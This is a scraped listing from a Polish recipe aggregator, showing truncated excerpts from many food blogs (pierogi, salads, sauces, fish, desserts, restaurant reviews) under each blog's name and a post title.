sprawdzać czy już wystarczy nam ostrości. Polecam! składniki 1 makrela wędzona,  bez skóry i ości 2- 3 łyżki majonezu 1 szalotka 1-2 papryczki chipotle + łyźeczka sosu adobo (z puszki) łyżka koperku łyżka posiekanych kaparów Sól, pieprz przygotowanie Obraną ze skóry i pozbawiona ości makrelę, podzieloną na mniejsze kawałki włożyć do miski blendera, dodać majonez, papryczki chipotle, szalotkę

Stare Gary
Pierogi ze szpinakiem 188

wycinamy koło na które nakładamy łyżeczkę nadzienia szpinakowego i kleimy pieroga. Pierogi wrzucamy na wrzącą wodę i gotujemy 2-3 minuty od wypłynięcia. Pierogi możemy podawać solo lub z sosem jogurtowym ( do jogurtu naturalnego dodajemy przeciśnięty przez praskę czosnek, 2 łyżki śmietany 18%, sól, pieprz). Smacznego

paapilotkaa
Tarta z rabarbarem na cieście orkiszowym 183

orkiszowej mąki i prawdziwego masła, kwaskowe nadzienie z rozpieczonego rabarbaru z nutką cynamonu i kratkowany chrupiący wierzch - fantastyczne połączenie! Po wystudzeniu i przekrojeniu wylewa się z niego pyszny rabarbarowy sos, który szczególnie upodobały sobie obie moje dziewczyny. I tak z upieczonego w sobotni ranek ciasta, wieczorem pozostały jedynie okruszki.     Składniki: 2 szklanki mąki orkiszowej 200 g masła

Kulinarne Inspiracje
Śliwki zapiekane w boczku 159

momentu aż boczek z obu stron będzie upieczony. W połowie pieczenia obrócić na drugą stronę by boczek podpiekł się równomiernie. Podawać na ciepło jako przystawkę. Smacznego:) Propozycja podania z sosem holenderskim Zobacz także

KreatywnePiny
żeberka po chińsku 259

proponuję je serwować. Składniki: 1 kg żeberek   marynata:   - dwie posiekane na bardzo drobno papryczki chili - 2  łyżki miodu - utarty imbir - kawałek 2 cm - 2 łyżki sos sojowy - ocet ryżowy (może być też winny) - 2 łyżki - 2 ząbki czosnku - 2 łyżeczki słodkiej papryki - łyżka ostrej papryki - malutka szczypta cynamonu - pieprz Sposób wykonania:   Składniki marynaty mieszamy

Lubczyk i Wanilia
Przepis na… – Spaghetti alle vongole, włoski klasyk 283

skorupkach, powinny się wszystkei otworzyć – te zamknięte wyjmujemy. Całość zalewamy winem i dusimy jeszcze 5 minut. Na koniec doprawiamy solą i pieprzem oraz posypujemy natką pietruszki. Do sosu dodajemy nie do końca ugotowany makaron i dokładnie mieszając trzymamy na wolnym ogniu jeszcze 3 minuty. Smacznego

Bon Ton Italia
Sałatka z truskawkami i grzanką z gorgonzolą z winegretem mandarynkowym. 180

gorgonzola -plaster cheddara Komponujemy sałatkę: na sałacie układamy awokado, cebulę i truskawki. Chleb smarujemy gorgonzolą, dodajemy plaster cheddara, przykrywamy drugą kromką i zapiekamy w opiekaczu. Kroimy na 4 części. Sos: -dwie łyżki oliwy -łyżka syropu z mandarynek -łyżeczka octu cydrowego -sól, pieprz -posiekane świeże oregano Wszystkie składniki mieszamy intensywnie, polewamy sałatkę

BaRepas
Makaron z pesto szpinakowym i chrupiącą cukinią 201

międzyczasie ugotuj makaron w dużej ilości osolonej wody zgodnie z instrukcjami na opakowaniu. Przygotuj pesto szpinakowe - wszystkie składniki pesto umieść w robocie kuchennym i zmiksuj do uzyskania gładkiego sosu. W razie potrzeby, dodaj więcej oliwy. Dopraw solą do smaku.  Ugotowany makaron wymieszaj z pesto szpinakowym. Podawaj z plastrami chrupiącej cukinii oraz parmezanem do posypania. Smacznego! *** Podoba Ci się

Chilli Czosnek i Oliwa
Schabowy w grzybowej panierce 223

pieprzem. Panierujemy najpierw w jajku, a potem w grzybowej panierce i smażymy na rumiano. Kotlety proponuje podać z ziemniakami i sałatką z ogórka, sałaty, pomidora i kukurydzy z sosem vinaigrette. Gotowe! :)   Rozliczenie: 4 kotlety (ok 400g)- około 6zł jajko- 0,50zł grzyby- około 5zł reszta składników- około 2zł ziemniaki- 1kg- 1,50zł sałatka - około 8zł Z podanych składników otrzymacie

Czerwona Porzeczka
Zielone placuszki z cukinią 188

mąkę i jajko. wszystko dobrze mieszamy.  Smażymy na oleju na złocisty kolor z obu stron albo pieczemy w 200 C przez 15 minut.  Placuszki najlepiej smakują z sosem czosnkowym bądź jogurtem greckim. Smacznego

Niezły Młynek
Odwrócone ciasto rabarbarowe z marchewką i ziołowym majonezem 236

stopni. Lekko przestudzone ciasto przekręcić do góry dnem na talerz lub paterę, odstawić do ostygnięcia. Zimne ciasto można posypać cukrem pudrem, polać polewą z czekolady, podać z domowym sosem np. malinowym lub bez dodatków

SzczyptaSmaQ
Zapiekanka z kaszy bulgur i młodej kapusty 151

następnie wlać puszkę pomidorów, dodać kumin,sól i pieprz. Dusić do miękkości kapusty. W naczyniu żaroodpornym wykładamy połowę ugotowanej kaszy i uciskamy łyżką ma gładko. Kapustę wraz z sosem który powstał wlewamy na kaszę i również wygładzamy lekko uciskając łyżką. Ponownie warstwa kaszy i na wierzch starty żółty ser. Piec w 180 stopniach C do całkowitego rozpuszczenia się sera

O kuchni z uczuciem
Pieczony łosoś z warzywami i młodymi ziemniaczkami z koperkiem 187

masłem i posiekanym koperkiem (zostawić łyżkę do posypania ziemniaczków na talerzu). Doprawić solą i pieprzem. Łososia z warzywami wyjąć z pieca. Usunąć gałązki ziół. Na talerzach porozkładać odsączone z sosu warzywa wraz z kawałkiem łososia. Podawać z młodymi ziemniaczkami, posypanymi dodatkowo świeżym koperkiem. źródło: Na podstawie przepisu Pascala. Inspiracja tła: fototapety dla młodzieży The post Pieczony łosoś z warzywami

Moja Delicja
Tortilla wersja hot 243

placki co 1/2 minuty na drugą stronę. Tortillę podajemy z ulubionymi dodatkami (u nas pomidory, papryka, cebula, sałata, usmażone kawałki piersi z kurczaka, ser żółty, majonez + ketchup (lub sos przyrządzony według tego przepisu )).       Zapraszam również do wypróbowania tortilli w wersji tradycyjnej .   Smacznego

paapilotkaa
Mleko z orzechów nerkowca 189

gęstą i konkretną konsystencję, podobną do śmietanki kremówki bądź mleka kokosowego. Przepis poniżej jest bardzo prosty i przedstawia wytrawną wersję, która idealnie nada się do zabielania zup czy przyrządzania sosów. Nic nie stoi na przeszkodzie, aby do mleka dodać syrop klonowy i ziarenka wanilii, aby stworzyć pyszną słodką wersję, wprost wymarzoną do deserów. W przeciwieństwie do innych rodzajów mleka

Roślinna - blog wegański
Wegańskie aromatyczne prawie-puree z marchwi i kalafiora 191

pewnym momencie zabrakło tej cierpliwości i wyszło prawie-puree ;) Podawać jako samodzielne danie lub część dania głównego. ------------ Podobne: Pieczeń mielonka z fasoli Pulpety cieciorkowo-dyniowe Pieczona dynia z sosem śliwkowym

Weekendy w domu i ogrodzie
Krokiety z kapustą i pieczarkami 191

usmażone naleśniki nakładać farsz, zawijać wszystkie boki do środka w kwadrat. Gotowe obtoczyć w jajku i bułce tartej, smażyć na oleju na rozgrzanej patelni.  Przed spożyciem polać sosem czosnkowym, bądź ketchupem. Podawać z frytkami, bądź jako dodatek do barszczyku

Kuchenne aromaty
Kotleciki z pieczarkami i żółtym serem 244

późniejszym terminie), tymczasem w ramach propozycji na sylwestrową noc przedstawiam Wam szybkie i bardzo proste w wykonaniu kotleciki z pieczarkami i żółtym serem. Doskonale smakują na ciepło polane sosem czosnkowym.  Składniki 1 podwójny filet z kurczaka  40 dag pieczarek 5-10 dag sera żółtego 1 jajo mąka ziemniaczana można dołożyć drobno pokrojoną pietruszkę lub pora sól, pieprz, vegeta

Kuchenne aromaty
Udka duszone w warzywach z winem 151

smażyć 10 minut.  Warzywa wraz z tłuszczem wrzucić do garnka z udkami, polać rosołem. Doprawić oregano, solą i pieprzem, dolać wino. Dusic bez przykrycia do chwili, gdy połowa sosu odparuje. Przykryć i dusić, aż udka będą miękkie

Kuchenne aromaty
Ślimaczki szpinakowe 192

gotowy. Każdy naleśnik smarujemy farszem, następnie naleśniki dość ciasno zawijamy w rulon. Gotowy rulon rozcinamy na kawałki 2 centymetrowe. Gotowe kawałki nakłuwamy na patyczki do szaszłyków. Można podawać polane sosem koperkowym, bądź też bez nakłuwania na patyczki zapiec w piekarniku

Kuchenne aromaty
Kieszonki ze szpinakiem i serem feta 190

Ahhhh to był obiad... całkiem w moim guście ryż,  sos beszamelowy i kawał fileta z kurczaka. Tym razem zamiast tradycyjnego kotleciska zrobiłam kieszonki ze szpinakiem. Do pełni szczęścia zabrakło jedynie fasolki szparagowej, ale cóż i na nią przyjdzie pora;) Składniki 4 pojedyncze filety z piersi kurczaka 10 dag mrożonego szpinaku 10 dag sera feta  pieprz, sól 2 roztarte

Kuchenne aromaty
Gołąbki poznańskie 181

rosołowe Sposób Kapustę drobno poszatkować, cebulę drobno pokroić, wymieszać w misce z pozostałymi składnikami. Formować okrągłe, lekko spłaszczone gołąbki. Gotowe obtoczyć w mące, podsmażyć na tłuszczu, a następnie zalać sosem i dusić pod przykryciem około 40 minut. Po wyciągnięciu gołąbków zalewę można zaklepać mąką

Kuchenne aromaty
Krupnik 147

jest do końca doceniana w Polskiej kuchni.  Osobiście najbardziej lubię gryczaną, zresztą mam ostatnio bzika na jej punkcie, zjadam całkiem spore ilości w zapiekankach czy też z sosami.  Składniki mięso z kością na rosół 3 duże marchewki 3 pietruszki 3 ziemniaki  1 mały seler  1 szklanka kaszy jęczmiennej 1 opakowanie zupy grzybowej w proszku kilka suszonych

Kuchenne aromaty
Dorsz prosto z Bałtyku 202

obrabianiem Waszych zdobyczy.  Po przyjeździe do domu pozostaje odpowiednie przyrządzenie złowionych dorszy. Jak mówi sam szyper świeżego dorsza musi być czuć rybą, a więc najlepiej nie zalewać go sosami, nie dodawać warzyw, ba najlepiej go nawet nie przyprawiać żadnymi mieszankami. Najlepiej po prostu zanurzyć go w solance, po czym delikatnie posypać pieprzem, obtoczyć w samej mące i piec

Kuchenne aromaty
Fileciki w sosie pieczarkowym z topionymi serkami 179

Zdarza mi się ostatnio coraz częściej do najróżniejszych potraw dodawać serki topione, które sprawiają że danie staje się delikatniejsze w smaku i nieziemsko kremowe. Tak było i tym razem sos po prostu rozpływał się w ustach natomiast same polędwiczki poprzez krótki czas smażenia stały się bardzo soczyste. Całośc podałam z puree ziemniaczanym posypanym koperkiem.  Składniki 1 podwójna pierś

Kuchenne aromaty
Śledzie po kaszubsku 203

Cebulę pokroić w kosteczkę i zeszklić na łyżce oleju. Dodać koncentrat, sok z cytryny, olej, cukier, liście laurowe, ziele angielskie oraz rodzynki. Wszystko razem pogotować przez 2 minuty. Gotowy sos po ostygnięciu połączyć ze śledziami

Kuchenne aromaty
Pierogi z serem 210

można sobie ułatwić używając jak w moim przypadku foremki). Pierogi wrzucamy do osolonej gorącej wody z dodatkiem odrobiny oleju. Gotujemy ok 3 minuty po wypłynięciu na wierzch. Podajemy polane sosem owocowym, bądź zasmażoną bułką tartą z dodatkiem cukru

Kuchenne aromaty
Fasolka po bretońsku 162

ugotować) 4 białe kiełbasy wegańskie cebula koncentrat pomidorowy 500 g przecieru pomidorowego (z kartonika lub puszki) przyprawy: papryka wędzona, papryka ostra, sól, pieprz, czosnek granulowany, majeranek, kminek, liście laurowe, sos sojowy Przygotowanie: Cebulę pokroić w kostkę, podsmażyć (w garnku) aż się zeszkli i lekko przyrumieni, dodać przyprawy, przecier pomidorowy i koncentrat, smażyć około 5 minut. Dodać fasolę i dusić

greenscarf
Placuszki z kaszy jaglanej i szpinaku (263 kcal) 185

Ponieważ nie jestem wielką miłośniczką kaszy, nie spodziewałam się, że te placuszki tak mi zasmakują. Są pyszne i bardzo syte, zdołałam zjeść tylko dwa, podane z sosem jogurtowym i surówką z młodej kapusty. Jeden placek to 263 kcal. Składniki (9 sporych placków): 200 g kaszy jaglanej 4 łyżki mąki pszennej 3 łyżki mąki ziemniaczanej 3 jajka 100 g szpinaku (mrożonego

e-PrzepisyKulinarne
Serniczek ricottowy z chia aromatyzowany miętą 142

Julia Roberts w "Pretty woman" , gdy w salonie czekałby Richard Gere ;) Biszkopty ułożyć na dnie szklanek. Nałożyć na nie ricottę z chia, dopychając do dna. Na wierzchu wyłożyć sos truskawkowy i podawać

Weekendy w domu i ogrodzie
Kurczak w marynacie musztardowo ziołowej 193

Cześć! Dziś mam dla Was pysznego kurczaka - koniecznie spróbujcie!!! :) składniki 250 g filet z kurczaka buraczki 100 g kaszy gryczanej marynata: sos sojowy ok 1/4 szklanki łyżka miodu sok z połowy cytryny odrobinę oleju 3-4 ząbki czosnku czubata łyżka musztardy sarepskiej przyprawy: papryka słodka, imbir, pieprz, tymianek, bazylia , oregano Filet pokroić w paseczki. W misce przygotować marynatę i wrzucić

Cukier&Puder
Restauracja Bazyliszek zaprasza każdego. Cz. IV i ostatnia. Mocne strony lolalu. 200

rozbudowana lecz stosunkowo różnorodna.  Znajdziecie tam dania kuchni tradycyjnej jak: półmisek polskich kiełbas i mięs pieczonych własnej produkcji z chrzanem i ćwikłą czy kaczkę pieczoną w pomarańczach z sosem żurawinowym, jabłkiem, pieczonymi ziemniakami, surówką i buraczkami oraz bardziej wyszukane smaki jak świeże ostrygi i mule sprowadzane z Holandii. Jeśli chodzi o ceny to wbrew pozorom są naprawdę przystępne. Wychodząc

Kuchnia po mojemu
sałatka warstwowa z serem wędzonym i tuńczykiem 167

Polecam sałatkę warstwową z tuńczykiem Produkty: 2 puszki tuńczyka w sosie własnym 1 puszka kukurydzy 8 jajek 30 dag wędzonego sera żółtego 1/2 pora 1 słoiczek majonezu Wykonanie

Ugotujmy Coś
Blender / chopper Russell Hobbss 176

Jeżeli kochasz dipy i samodzielnie zrobione sosy, rozdrabniacz Chop & Blend Aura jest dla Ciebie gadżetem obowiązkowym. Wystarczy umieścić owoce, warzywa lub zioła w pojemniku, nacisnąć przycisk i ... gotowe. Urządzenie ma innowacyjne ostrze przypominające kształtem ósemkę, bez spiczastych zakończeń. Nadaje się ono do kruszenia lodu - bardzo przydatna funkcja, gdy chcemy przygotować smoothie lub slush. Podstawa spełnia także funkcję pokrywy. Oznacza

Bon Appetit Małgorzaty
Kurczak w miodzie z aromaycznym ryżem basmati 264

Wpis pochodzi z www.mgotuje.pl Kurczak w marynacie z miodu i sosu sojowego, podany z aromatycznym ryżem basmati z dodatkiem kardamonu i orzechów nerkowca. To wspaniałe danie, pełne pysznych smaków. Jestem pewna, że i wam posmakuje. Do mojego przepisu użyłam produktów z sklepu internetowego Cabas.pl . Jest to najsmaczniejszy bazar

Marta Gotuje
Szparagi bolognese 186

smaku bazylią, oregano, sola i pieprzem. Szparagi obieramy i odcinamy końcówki. Gotujemy w osolonej wodzie z dodatkiem łyżki cukru, aż będą al dente. Na talerze wykładamy szparagi, polewamy sosem bolognese i dekorujemy listkiem bazylii

Pyry na Gaz
sos jogurtowy 120

Polecam sos jogutowy: Produkty

Ugotujmy Coś
Domowe ziemniaczane kulki alternatywa dla frytek 9199

tylko będą nimi zachwyceni. Może je przyrządzić tradycyjnie bez dodatków, ale równie pysznie smakują z ziołami. Możemy zajadać je jako dodatek do mięs albo, po prostu same z różnymi sosami. Do takich kulek możemy zaangażować dzieci, uśmiech maluszków gwarantowany :) SKŁADNIKI : ok. 1 kilogram obranych ziemniaków  1 szklanka mąki pszennej  2 łyżki mąki ziemniaczanej  sól do smaku świeżo

Basia w kuchni
Szybka tarta ze szparagami, porami i serami 206

mamy wiosnę, dodałam zielone szparagi. Zależało mi na szybkiej kolacji, więc - przyznaję bez bicia - kupiłam gotowe ciasto francuskie na spód. W swoich propozycjach tart czy zapiekanek nie stosuję żadnych sosów. W zamian dodaję sery, które lubię i które ładnie się topią.   Składniki : gotowe ciasto francuskie 2 pory z jak największą ilością zielonego kilka szparagów 3 plastry szynki

Weekendy w domu i ogrodzie
Mało obiektywna recenzja - Wino Kawiarnia Pizzeria Adjano 222

kolację, czy obiad, warto wziąć jedną porcje na dwoje (nawet głodomorom wystarczy, a i niejeden pasibrzuch się naje). Sałatki, poza tym co ustaliliśmy, czyli idealnym doborem składników, mają przepyszny sos winegret, którego składu do końca nie udało mi się rozszyfrować, a nie będę się kompromitować zgadując. Jak tak czytałem przed opublikowaniem ten teks, sam siebie niemal spoliczkowałem, że zapomniałem nadmienić

BaRepas
Szybki obiad 356

warzywa na talerz i posyp posiekaną szalotką i kozim serem. * Jeśli jesteś typowym mięsożercom do takiego szybkiego obiadu możesz dodać kawałek rybki lub indyka. * Możesz podać go również z sosem (np. czosnkowym) * Pamiętaj, żeby zawsze używać warzyw sezonowych i tych, które najbardziej ci smakują. Bardzo ważny jest również wybór różnych kolorów (nie dość, że warzywa różnego koloru mają inny smak

Wielki apetyt
Pieczone jabłka nadziewane sosem miodowo-cynamonowym z rodzynkami i migdałami 179

naszego wiejskiego dzikiego drzewka. I choć bardzo lubię o poranku zerwać sobie takie surowe, skąpane w rosie, zimne jabłuszko to dziś na deser, dla odmiany, owoce pieczone, nadziewane sosem miodowo-cynamonowym z migdałami i rodzynkami. Świetna sprawa na szybką i słodką przekąskę :) Przepis: 6 jabłek 1/4 szklanki miodu 1 łyżka masła garść cynamonu garść rodzynek garść migdałów Jabłka myjemy

upichcona
Zupa warzywna na mięsie gulaszowym 161

zapiekanki. Wyszło i w pakiecie i całkiem smacznie. Do tego naturalnego bulionu dodałam tylko włoszczyznę, puszkę białej fasoli, 4 ziemniaki, por, pęczek koperku oraz estragon. Do smaku można dodać sos sojowy lub kostkę rosołową. W kuchni nic się nie marnuje i jeszcze smakuje

upichcona
Zupa Salsa - rozgrzewająca i aromatyczna 152

pałki z kurczaka, po 15 minutach do wywaru dodajemy warzywa na patelnię, po kolejnych 10 minutach wrzucamy papryczki chilli, pomidory oraz kukurydzę z puszki ( w obu przypadkach nie odsączamy sosu tylko wlewamy razem z warzywami z puszki), przyprawiamy wg uznania. Śmietanę oraz kaszę jaglaną możemy wrzucić do gara z zupą lub podawać bezpośrednio na talerz - jak kto lubi :) Smacznego

upichcona
Wstęp do kuchni gruzińskiej 164

słońcem granaty. Uwielbiam kuchnie gruzińską, pełną świeżych warzyw i aromatycznych pikantnych przypraw dlatego dziś na obiad oddam kawałek Gruzji na talerz i przygotuję tołmę z papryki z ostrym kaukaskim sosem tkemali

upichcona
Łosoś w sosie śmietanowym z czarnym makaronem 283

przepis na szybki rodzinny obiad lub gdy mamy najzwyczajniej mało czasu na wykombinowanie eleganckiej potrawy dla gości zapowiedzianych w ostatniej chwili ;) Delikatność łososia w zestawieniu z kremowym i aromatycznym sosem sprawia, że ten sycący posiłek po prostu rozpływa się w ustach :) Potrzebować będziemy: - 250g łososia surowego - 200g łososia wędzonego w plastrze (jeśli nie będzie wędzonego w sklepach to można śmiało

upichcona
Niezbędnik grillowicza czyli ruszt bez tajemnic 255

mają zbyt niską temperaturę spalania i nie nadają się do mięs grillowanych - do marynat mokrych dodajmy przyprawy i zioła, ale nie zapominajmy o bazie z kwaśnego składnika: wina, octu, sosu sojowego, soku cytrynowego lub z limonki, dzięki temu nasze mięsko nie zrobi się twarde po upieczeniu i nabędzie soczystości - mięso marynujmy dzień wcześniej, a ryby i warzywa kilka godzin przed

upichcona
Domowe lody rabarbarowe bez maszyny 182

rabarbaru, 50 ml armaniaku lub koniaku (opcjonalnie), 2 żółtka, 5 łyżek brązowego cukru. Do przybrania: jadalne kwiaty (u mnie jasnota biała i bluszczyk kurdybanek), dowolne owoce, lub domowe sosy i syropy owocowe. Przygotowanie: Rabarbar pokroić w drobne kawałki (im drobniej pokrojony, tym szybciej się rozpadnie), dodać 3 łyżki wody i połowę cukru, dusić 5 minut. Mleko zagotować ze śmietaną

SzczyptaSmaQ
SOCZYSTE STEKI SOJOWE 262

albo nafaszerować nimi (pociętymi na kawałki) ciasto drożdżowe ( przepis tutaj) . Super pasuje do nich dip czosnkowy ze słonecznika ( tutaj ), ketchup, musztarda, cokolwiek lubicie, można też jak najbardziej zostawić sam sos powstały w trakcie przygotowywania steków na patelni. Mam nadzieję, że zdjęcia przekonują Was do wypróbowania TAKICH kotletów sojowych, a po kolejne przepisy zapraszam... jeszcze dziś wieczorem :) Na koniec przypominam

Wegański blog WSZYSTKO JEST W GŁOWIE
Mamut z orzechami 202

tycznej, typu Mamut - o mięsistych, płaskich, szerokich strąkach dorastających nawet do 20 cm długości. Strąki tej fasoli można przygotowywać podobnie jak szparagi, np.  ze świeżymi ziołami , czy z sosem holenderskim. Ja swojego Mamuta zblanszowałem i upiekłem z masłem i drobno siekanymi orzechami włoski. Składniki (dla 2 osób): 12-14 strąków fasoli typu Mamut kilka cienkich plastrów masła 10 orzechów

W SMAK
Bazyliszek zaprasza na dania główne. Stek z wołowiny argentyńskiej kontra dorsz w cieście. Opinia po mojemu. Cz III. 262

był z pewnością dobry wybór. Dobre gatunkowo mięso zostało przyrządzone zgodnie z zamówieniem tj. w formie średnio wypieczonej . Stek i wyglądał i smakował dobrze. Podano z nim esencjonalny sos pieprzowy co wraz z wołowiną stanowiło ciekawą, świeżą kompozycję. Jedyne co, to zmieniłabym dobór sałatki - typu greckiego wg mnie niekoniecznie pasuje do charakteru dania oraz postawiłabym na wypiekane ziemniaki

Kuchnia po mojemu
Placki z tuńczyka z czarną rzepą na przekąskę! 275

obieramy i wyciągamy środek. Kroimy w piórka. Do miseczki wyciskamy ketchup. Dodajemy koncentrat pomidorowy.  Dodajemy paprykę słodką, oregano i bazylię oraz rozgnieciony rozmaryn.  Na placuszku rozsmarowujemy nasz sos pomidorowy.  Układamy plaster rzepy.  Dodajemy cebulę.  Przekładamy kolejnym placuszkiem. Kontynuujemy czynności.  Gotowe placuszki możemy ewentualnie doprawić pieprzem i solą

Czarnawisienka
Zapiekanka ze szparagami, czerwoną cebulą i ziemniakami 242

jajkiem. Dopraw do smaku szczyptą soli, odrobiną pieprzu i posiekanym koperkiem. Na sam koniec posyp tartym serem. Piecz ok. 20 minut w nagrzanym do 180 stopni piekarniku. Podawaj z sosem czosnkowym lub innym ulubionym. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Orzechowy dip do kurczaka 178

My Blueberry Corner by "jagodzianka" Poszukiwanie nowych smaków i ich niespotykanych kompozycji w potrawach jest bardzo wciągające. W poszukiwaniu nowego dodatku do kurczaka natknęłam się …

My Blueberry Corner
Naleśniki ze szpinakiem (Crespelle con spinaci) 166

Blueberry Corner by "jagodzianka" Dawno nie jadłam tak dobrych naleśników ze szpinakiem. Najlepiej smakują z farszem ze świeżego szpinaku. Sos idealnie pasuje i całość … Przeczytaj cały artykuł Post Naleśniki ze szpinakiem (Crespelle con spinaci) pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Sos amatriciana 204

Blueberry Corner by "jagodzianka" Od rana planowałam zrobienie domowej roboty makaronu. Zastanawiałam się również z czym go podać. Chciałam, aby smak makaronu był w … Przeczytaj cały artykuł Post Sos amatriciana pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Salsa z mango 165

My Blueberry Corner by "jagodzianka" Kolejny świetny dodatek do mięs z grilla, owoców morza, frytek czy nachos. Mi najlepiej smakuje z burrito . Do mojej … Przeczytaj

My Blueberry Corner
Wołowina po burgundzku (Bœuf bourguignon) 152

Blueberry Corner by "jagodzianka" Bardzo smaczna potrawka z wołowiny. Dobrze jest przygotować ją z niewielkim wyprzedzeniem, bo mięso i winny sos mają czas na … Przeczytaj cały artykuł Post Wołowina po burgundzku ( Bœuf bourguignon ) pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Kurczak w kokosowym cieście 342

Blueberry Corner by "jagodzianka" Gdy robię kurczaka w kokosowym cieście moi najbliżsi są bardzo zadowoleni. Kulki podaję ze słodkim sosem chili i ryżem. Można … Przeczytaj cały artykuł Post Kurczak w kokosowym cieście pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Zielona sałatka z miętowym dressingiem 188

Blueberry Corner by "jagodzianka" Lekka i świeża sałatka z awokado, bobem, zielonymi oliwkami i fasolką szparagową – oczywiście zieloną. Sos miętowy można kupić w … Przeczytaj cały artykuł Post Zielona sałatka z miętowym dressingiem pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Naleśniki Suzette (Crêpes Suzette) 171

Blueberry Corner by "jagodzianka" Crêpes Suzette to wybitnie smaczne i najbardziej znane francuskie naleśniki. Smaży się je cieniutkie, później zanurza w gorącym pomarańczowym sosie. … Przeczytaj cały artykuł Post Naleśniki Suzette (Crêpes Suzette) pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Żeberka duszone w sojowym sosie 130

czasu do czasu, gdy mam chęć na żeberka, przygotowuję je właśnie w ten sposób. To smaczne danie najlepiej podawać … Przeczytaj cały artykuł Post Żeberka duszone w sojowym sosie pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Likier mandarynkowy 140

Blueberry Corner by "jagodzianka" Żeby przyrządzić sos pomarańczowy do naleśników Suzette potrzebny jest gorzki likier pomarańczowy. Niestety jest on dość drogi (ok. 60 zł … Przeczytaj cały artykuł Post Likier mandarynkowy pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Spaghetti z karczochem w pomidorowym sosie 195

zeszłym roku posadziłam na działce karczocha. Wyrósł pięknie i miał 3 kwiatostany. Karczoch jest mało wymagającym warzywem, łatwym w … Przeczytaj cały artykuł Post Spaghetti z karczochem w pomidorowym sosie pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Indyk w sosie własnym z pieczarkami 159

wodą, wlewam do mięsa. Wsypuję paprykę mieloną oraz przyprawę uniwersalną. Duszę na małym ogniu 30 minut.  2. Pieczarki kroję w plasterki. Dodaję do mięsa. Duszę kolejne 30 minut. Sos doprawiam do smaku pieprzem ziołowym, solą i pieprzem czarnym. Podaję z ryżem lub ziemniakami. Do przyprawienia potrawy użyłam pieprzu ziołowego staropolskiego, który otrzymałam od hurtowni i producenta przypraw RAFEX

Tradycyjna kuchnia Kasi
Placki ryżowe z warzywami i słonecznikiem 245

Placki te są efektem całkowitej improwizacji i tzw. czyszczenia lodówki. Wyszło przepysznie! Mogą być dodatkiem do mięsa, można je podać z ulubionym sosem, śmietaną a nawet z samym keczupem :) Dodatek warzyw urozmaicił smak ryżu a prażone ziarna słonecznika cudnie chrupią przy każdym kęsie :)  SKŁADNIKI: (na ok 10 placuszków)   2 szkl ugotowanego ryżu* 1 marchewka  1 cebula kilka

Kto ugości moich gości?
Sałatka z młodych ziemniaków i boczku 257

temp 180 C. Szczypiorek i cebulę siekamy. Fasolkę płuczemy i odsączamy na sitku. Musztardę, jogurt i przyprawy mieszamy ze sobą. Wszystkie składniki wsypujemy do jednej miski, polewamy sosem i mieszamy dokładnie

e-PrzepisyKulinarne
Ziemniaki pieczone z masłem i serem 309

Blueberry Corner by "jagodzianka" Ziemniaki pieczone można jeść solo. Można też je podać jako dodatek do steków wołowych lub innego mięsa bez sosu. Kartofle … Przeczytaj cały artykuł Post Ziemniaki pieczone z masłem i serem pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Sałatka ryżowa 249

Ryż ugotować wg. przepisu na opakowaniu. Kukurydzę odsączyć. Wszystkie produkry pokrojone w kostkę umieścić w jednej misce. W oddzielnej miseczce wymieszać ketchup, majonez i jogurt - wszystko dokładnie wymieszać. Sos wymieszać z całą sałatką, doprawić do smaku

Garnkowe fanaberie
pizza na drożdżach - ciasto standardowe 254

wrzucam przepis z archiwum. Pizza na drożdżach. Oczywiście można użyć ulubionych dodatków, ale mi najlepiej smakuje z tuńczykiem z puszki, kukurydzą i papryką. Oprócz tego pieczarki i ser. Sos przeważnie wykonuję z passaty pomidorowej (kartonik) z oliwą i łyżeczką octu winnego i ziołami. Na razie umieszczam samo ciasto.   Składniki: 2 szklanki mąki 20  gram drożdży łyżka cukru łyżeczka

Lubczyk i Wanilia
Zielona potrawka z kurczakiem 280

Pyszny, delikatny i kremowy lekki gulasz czy sos a nawet potrawka z kurczakiem i zielonymi warzywami. Idealnym dodatkiem do tego dania jest ryż, albo makaron i koniecznie odrobina parmezanu. Korzystajcie z sezonu na szparagi, bo w tym daniu smakują wyśmienicie!  Składniki : * podwójny filet z kurczaka  * 2 łyżki oliwy z oliwek  * pęczek szparagów * brokuł * cukinia * ulubione zioła

Magiczne Życie Marty
szparagi w sosie beszamelowym 126

Produkty: 1 kg szparag sól sos beszamelowy -przepis podany oddzielnie

Ugotujmy Coś
Francuskie zwijańce z mieszanką ziaren i migdałów 169

Gotowe ciasto w lodowce sobie czekało i w co się zamieni nie wiedziało. Migdały, sezam ,słonecznik z pomocą przywędrowały i razem się zmieszały. Do siebie sos z agawy, cynamon zaprosiły i z ciastem wspólnie zwijańce wymyśliły. Smaku Wam nie będę opisywała, tylko do pieczenia zachęcała. Składniki: 50 g tartych migdałów Back Mit, 100 g słonecznika łuskanego Kresto, 50 g sezamu

Moniki Smakołyki
Jogurt grecki z cukinią. Co przygotować do ryżu na szybko? 210

autentycznego źródła, bo od mojej perskiej teściowej. A póki co, coś co można dodać do ryżu, czyli jogurt z cukinią. Irańczycy bardzo lubią tego rodzaju dodatki (trochę zamiast sosu). W tym przepisie do jogurtu dodałam startą cukinię, ale można ten przepis odmieniać na wiele sposobób np z ziołami, z ogórkiem itp. Potrzebne nam będą: 4 jogurty greckie, 4 cukinie

MODA NA BIO
Asparago bianco – jak wybrać najlepsze szparagi? 306

dolinę Valsugama. W efekcie szczegółowo uregulowanej uprawy otrzymywane są szparagi o słodko-gorzkim smaku. Najpopularniejszym sposobem podania jest klasyczne danie Asparagi in Salsa di Uova Sode , czyli szparagi z sosem z jajek gotowanych i sardeli. Zaleca się spożycie w ciągu maksymalnie 2-3 dni od zebrania. Jak w przypadku wielu włoskich produktów w czasie sezonu odbywa się wiele lokalnych festynów

Bon Ton Italia
Spaghetti ze szparagami i boczniakami w sosie beszamelowym 189

